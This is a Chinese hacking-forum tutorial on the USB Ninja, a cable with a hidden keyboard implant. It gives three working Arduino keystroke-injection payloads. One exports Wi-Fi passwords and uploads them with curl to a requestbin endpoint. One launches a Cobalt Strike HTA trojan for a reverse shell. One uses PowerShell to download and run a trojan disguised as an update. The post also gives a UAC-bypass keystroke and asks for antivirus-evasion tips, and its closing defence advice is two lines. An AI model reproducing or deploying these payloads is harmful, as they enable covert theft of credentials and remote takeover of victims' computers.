电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2621 人浏览分享

黑客近源渗透利器之USB ninja

[复制链接]
2621 0
前言
USB ninja翻译过来就是USB忍者,算是badusb的一种,属于HID攻击设备。在那之前我们先了解下什么是HID攻击
HID攻击原理
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备。一般来讲针对HID的攻击主要集中
在键盘鼠标上因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中 当用户
将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。简而言之,今天要介绍的usb ninja利用的是虚拟键盘来
实现恶意代码的执行,而它与badusb不同的是,它把代码隐藏在数据线中,更具有迷惑性。
介绍一下常见HID设备
依次为:大黄鸭、树莓派zero W,WHID以及我们今天的主角儿usbninja

p65.png

p66.png

p67.png

p68.png

设备介绍
无线电师傅冰尘py交易一波,拿到usbninja,到手之后,里面有以下几样东西
1、数据线(我要了type-C的接口,因为现在手机主流都是type-C)
2、外壳
3、天线
4、触发代码上传机制的磁铁
5、主板

p69.jpg

电池介绍
使用为LIR2032 3.7V可充电电池,而还有一种电池与它相似CR2032 3V一次性电池
当我们的可充电电池寿命用尽时,请去五金店购买LIR2032,切记不要买错,因为给CR2032充电可能会发生爆炸(切记)

p70.jpg

组装没啥难度,直接把外壳用螺丝刀拧上就行了

p71.jpg

软件下载
使用Arduino 进行编写代码,下载链接如下
https://share.weiyun.com/5aNlfTg
usbninja驱动程序
https://usbninja.com/drivers_tools/USBninja_BOOT_driver.zip
函数介绍
Arduino IDE中使用的开发语言是C,一个程序在Arduino IDE中被成为 sketch,每个 sketch 都包含一个 setup
函数和一个 loop 函数。程序启动,首先调用 setup,这个函
数只被调用一次,loop 函数会被不停的重复调用下去。
软件设置
点击文件,首选项,进行设置开发板管理器,调用此链接
http://usbninja.com/arduino/package_USBNinja_index.json
p72.png

设置完成后,点击工具,开发板管理,进行加载管理器,需VPN,然后拉到最下面,有个USB ninja进行安装

p73.png
p74.png

烧录时开发板选择USB Ninja cable(BLE+Hall sensor)

88.png

语法介绍
usbninja使用Ducky Script脚本,按键字符解释如下(呜呜呜,人哭了,复制过来不是整整齐齐的)
GUI              windows菜单键
WINDOWS          windows菜单键
SHIFT            shift键
ALT              Alt键
CONTROL          Ctrl键
CTRL             Ctrl键
可进行组合,举例:
KEY_LEFT_CTRL    左ctrl键
KEY_LEFT_GUI     左win键,也代表command键
KEY_CENTER_ARROW 确认键
KEY_BACKSPACE    退格键

DOWN_ARROW       下箭头
DOWN             下箭头
LEFT_ARROW       左箭头
LEFT             左箭头
RIGHT_ARROW      右箭头
RIGHT            右箭头
UP_ARROW         上箭头
UP               上箭头
BREAK            Pause键
PAUSE            和上一个是一样的
CAPS_LOCK        大写键
DELETE           删除键
END              END结束键
ESC              键盘上左上角的键
ESCAPE           键盘上左上角的键
HOME             Home键
INSERT           插入键
NUMLOCK          键盘锁键
PAGEUP           上翻页键
PAGEDOWN         下翻页键
PRINTSCREEN      屏幕截屏键
SCROLLLOCK       Scrolllock(滚动锁定)键
SPACE            空格键
TAB              Tab键
DELAY            延时
DEFAULT_DELAY    延时
DEFAULTDELAY     延时
REPEAT           重复指令
USBON            切换到Ninja的USB口,原本通道关闭
USBOFF           切换至原来的USB口,关闭Ninja的USB通道
CAPSLOCK ON      大写锁定,使用之后,保证电脑一直在大写锁定态
CAPSLOCK OFF     大写锁定关,保证电脑在非大写锁定态
PLUGAUTORUN      后面跟数字,下一次插入直接运行数字对应的SLOT里面存储的脚本
MSCREAD          手动将ROM里面的数据加载到RAM,也就是挂载U盘操作
MSCSAVE          手动将RAM里面的数据加载到ROM,也就是断开并保持U盘内容
MSCWIPE          擦除ROM盘里面的数据
MSCFORM          格式化ROM盘中的数据
MSCONOFF         后跟参数0或者1,为1时U盘功能启动
delay(5000);            //延迟5000ms也就是5秒
Keyboard.begin()        //开始键盘通讯
Keyboard.end()          //结束键盘通讯
Keyboard.press();       //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来
Keyboard.release();     //释放键盘按键
Keyboard.println("");   //输入字符串使用双引号括起来
Keyboard.printin("");   //输入执行的命令
Keyboard.sendKeyStroke();//组合按键
Mouse.begin();          //鼠标事件开始
Mouse.click();          //鼠标单击
Mouse.end();            //鼠标事件结束
Mouse.move();           //鼠标移动(x,y)
Mouse.press();          //鼠标按下
Mouse.release();        //鼠标松开
Mouse.isPressed();      //检查鼠标当前的按键状态
代码示例与演示
PS:实际上只能写两个payload我这里为了方便直接贴在一起了。
  1. #include <NinjaKeyboard.h>
  2. void setup()
  3. {
  4.   //SetRunOnce(PAYLOADA,true);
  5.   //SetRunOnce(PAYLOADB,true);
  6.   //If you want payload to run only once, run this function.  
  7. }
  8.                 //
  9. void loop() {}
  10. /*
  11. When the Bluetooth remote control button A is pressed.
  12. The program in payloadA() will be executed in a loop.
  13. Until the button A is released.
  14. */
  15. void payloadA()
  16. {
  17.     USBninjaOnline();
  18.     NinjaKeyboard.begin();
  19.     NinjaKeyboard.delay(1000);  
  20.     NinjaKeyboard.sendKeyStroke(0);
  21.     NinjaKeyboard.delay(1000);
  22.     NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  23.     NinjaKeyboard.delay(200);
  24.     NinjaKeyboard.print(F("cmd"));
  25.     NinjaKeyboard.sendKeyStroke(KEY_ENTER);
  26.     NinjaKeyboard.delay(1000);
  27.     NinjaKeyboard.println("netsh wlan export profile key=clear && type *.xml >666.txt && curl http://requestbin.n
  28. et/r/12zzzzz1 -F file=@666.txt && exit");  //获取WIFI信息,平台使用的http://requestbin.net相当于ceye平台数据外带
  29.     NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);      
  30.     NinjaKeyboard.delay(100);
  31.     NinjaKeyboard.sendKeyStroke(KEY_ENTER);
  32.     NinjaKeyboard.delay(100);
  33.     NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);      
  34.     NinjaKeyboard.delay(100);
  35.     NinjaKeyboard.end();   
  36.     USBninjaOffline();  
  37.     NinjaKeyboard.begin();
  38. }
  39. void payloadB()
  40. {
  41.      
  42.   USBninjaOnline();
  43.     NinjaKeyboard.begin();
  44.     NinjaKeyboard.delay(1000);  
  45.     NinjaKeyboard.sendKeyStroke(0);
  46.     NinjaKeyboard.delay(1000);
  47.     NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);   //按下win键+R键
  48.     NinjaKeyboard.delay(100);  
  49.     NinjaKeyboard.println("mshta.exe http://127.0.0.1/1.hta");       //运行CS木马反弹shell
  50.     NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);      
  51.     NinjaKeyboard.delay(100);
  52.     NinjaKeyboard.sendKeyStroke(KEY_ENTER);    //回车
  53.     NinjaKeyboard.delay(100);
  54.     NinjaKeyboard.sendKeyStroke(KEY_ENTER);
  55.     NinjaKeyboard.delay(500);
  56.     NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
  57.     NinjaKeyboard.delay(100);
  58.     NinjaKeyboard.end();   
  59.     USBninjaOffline();  
  60.     NinjaKeyboard.begin();
  61. }
  62. void payloadC()
  63. {
  64.      
  65.     USBninjaOnline();
  66.     NinjaKeyboard.begin();
  67.     NinjaKeyboard.delay(300);  
  68.     NinjaKeyboard.sendKeyStroke(0);
  69.     NinjaKeyboard.delay(1000);
  70.     NinjaKeyboard.sendKeyStroke(KEY_R, KEY_LEFT_GUI);   //按下win键+R键
  71.     NinjaKeyboard.delay(100);
  72.     NinjaKeyboard.sendKeyStroke(KEY_CAPS_LOCK);
  73.     NinjaKeyboard.delay(500);
  74.     NinjaKeyboard.println("cmd /T:01 /K "[url=home.php?mod=space&uid=46675]@echo[/url]
  75. off && mode con:COLS=15 LINES=1"");
  76.     NinjaKeyboard.delay(500);
  77.     NinjaKeyboard.sendKeyStroke(KEY_RETURN);
  78.     NinjaKeyboard.delay(500);
  79.     NinjaKeyboard.println("powershell");
  80.     NinjaKeyboard.delay(500);
  81.     NinjaKeyboard.println("$clnt = new-object system.net.webclient;");
  82.     NinjaKeyboard.println("$url='http://101.xxx.xxx.xxx/SUSU.exe';"); //xxx 为你服务器 ip,susu 为生
  83.     //成的木马文件(可以把名字命名成什么 360update 之类的)
  84.     NinjaKeyboard.println("$file = 'd:\\SUSU.exe';"); //下载到目标存放文件的地址
  85.     NinjaKeyboard.println("$clnt.downloadfile($url,$file);"); //用分段执行绕过进程防护
  86.     NinjaKeyboard.delay(500);
  87.     NinjaKeyboard.println("d:\\SUSU.exe"); //这里可以自行研究隐藏文件放到 D 盘,
  88.     //因为 C 盘可能没权限。思路:可使用 attrib +h +s SUSU.exe 将文件隐藏
  89.     NinjaKeyboard.println("exit");//退出当前窗口
  90.     NinjaKeyboard.delay(3000);
  91.     NinjaKeyboard.println("exit");
  92.     NinjaKeyboard.sendKeyStroke(KEY_RETURN);
  93.     NinjaKeyboard.sendKeyStroke(KEY_CAPS_LOCK);
  94.     NinjaKeyboard.end();
  95.     USBninjaOffline();  
  96.     NinjaKeyboard.begin();//结束键盘通讯
  97. }
复制代码

验证完代码之后,进行上传,会提示插入数据线
Please plug in the USBNinja device ...
插入姿势

p100.jpg

录入代码完毕
87.png

1、paylaodA
获取WIFI信息,使用平台http://requestbin.net
执行之后获得目标机的WIFI信息,在平台进行查看
name为WIFI的名字
protected为密码是否加密
KeyMaterial为密码
在测试的时候只发现一个明文密码,可正常连接该WIFI,其他都为加密密码。

86.png

2、payloadB
使用CS生成.hta结尾的木马
85.png

82.png

按下A按钮,执行payloadB,反弹shell

80.png

别问payloadB和C木马免不免杀,人已自闭,之前CS+veil生成的代码还是能过360 火绒的
现在厂商都摸透了,希望师傅们有好的免杀方法能带带弟弟
payloadA和payloadB演示视频
https://www.bilibili.com/video/BV1xT4y1u7kp/
3、payloadC
看代码,很好理解,以小窗模式打开cmd,分段执行命令下载木马,执行木马,退出
不使用小窗,执行时的截图,看一眼,懂powershell的师傅就很好理解了

79.png

能够过360的变形虫防护,但是由于木马不免杀,所以只能暂时这么演示一下了,大佬谅解
78.png

演示视频

http://tools.sunian.top/payloadC.mp4
UAC绕过(badusb也可使用)
看到好多师傅说用模拟点击进行绕过的,其实不用那么麻烦。
直接可以使用Alt+y绕过UAC,在执行HID攻击时我们需要使用管理员的权限时可执行ctrl+shift+Enter。
防御手段
1、不使用未知来源的U盘,数据线等与电脑交互的设备。
2、使用转接器,如下图所示

6.png

如果有什么不对的地方请大佬指出!

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.